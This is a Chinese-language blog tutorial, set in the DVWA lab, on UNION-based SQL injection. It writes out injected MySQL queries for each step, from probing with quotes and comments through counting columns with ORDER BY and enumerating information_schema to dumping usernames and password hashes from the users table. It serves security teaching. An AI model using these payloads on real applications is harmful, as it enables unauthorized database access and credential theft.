SQL注入之联合查询注入

发布时间 2023-08-25 15:43:09作者: 星屿纪

联合查询型注入过程

靶场环境

DVWA/SQLInjection

1.正常访问,输入参数值为1,页面正常返回对应id为1的用户星系

SELECT first_name,last_name FROM users WHERE user_id=‘1’;

 

判断数据库类型

  • 1.尝试添加单双引号等,看看是否会报错,并确认数据库类型
  • SELECT first_name,last_name FROM users WHERE user_id='1'';

  上述报错内容可以确认数据库为MySQL

 

  • 1.通过MySQL注释符来注释掉后续语句,避免报语法错误
  • SELECT first_name.last_name FROM users WHERE user_id='1'#';  这里#必须进行URL编码(%23)

  • SELECT first_name.last_name FROM users WHERE user_id='1'-- '; 这里--后必须加空格,即+号

 

 

 

 

 

 

判断是否存在SQL漏洞

  • 通过注释符结合逻辑运算,确认是否存在SQL漏洞
  • SELECT first_name,last_name FROM users WHERE user_id='1' and 1=1#';

  •  SELECT first_name,last_name FROM users WHERE user_id='1' and 1=2#';

 暴联合查询列数

  • order by 语句猜解列数
  • SELECT first_name,last_name FROM users WHERE USER_ID='1' order by 2#';

  • SELECT first_name,last_name FROM users WHERE USER_ID='1' order by 3#';

 

  • 确认列数为2后,尝试使用联合查询,使用null作为占位符
  • SELECT first_name,last_name FROM users WHERE user_id='0' union select null,null#';

id改为0或者其他无结果的值,即只查看联合查询后面语句的结果

 

  • 修改null占位符为数值型和字符串型,确认对应字段的类型

 

暴数据库系统信息

 联合查询调用函数获取DB相关信息

  • SELECT first_name,last_name FROM users WHERE user_id='0' union select user(),version()#';

 此外还能使用concat_ws():

  • 巧用concat_ws()对结果进行拼接,一次查询多个内容
  • SELECT first_name,last_name FROM users WHERE user_id='0' union select null,concat_ws(":",user(),version(),database())#';

 暴数据库表名

  • 前面通过database()查询到当前数据库名为“dvwa”,继续查询该dvwa库的所有表
  • SELECT first_name(),last_name() FROM users WHERE user_id='0' union select null,group_concat(table_name) from information_schema.tables where table_schema='dvwa'#';
  • information_schema 库:这个库是在MySql 5.0之后的一个库,用来存放整个数据库的信息,里面可以查询到 所有的库名,表名,列明

  •  除了使用group_concat拼接所有结果外,也可以使用limit子句来逐个遍历结果,只是没那么方便(但是每个结果能够完整显示)
  • SELECT first_name(),last_name() FROM users WHERE user_id='0' union select null,table_name from information_schema.tables where table_schema='dvwa' limit 0,1#';

 暴指定表列名

  • 获取dvwa库的所以表之后,猜测只有users表的价值最大,继续查询该users表的所有列名
  • SELECT first_name,last_name FROM users WHERE user_id='0' union select null,group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users'#';

 暴敏感数据信息

获取dvwa库users表所有字段后,看到只有user和password字段最有价值,继续查询获取最后的敏感数据

SELECT first_name,last_name FROM users WHERE user_id='0' union select null,group_concat(concat_ws(":",user,password)) from users#';

 

所以,联合查询型注入过程大概为:

1.判断是否存在漏洞;

2.判断数据库类型

3.暴联合查询列数

4.暴数据库系统信息

5.暴数据库表名

6.暴指定表列名

7.暴敏感数据信息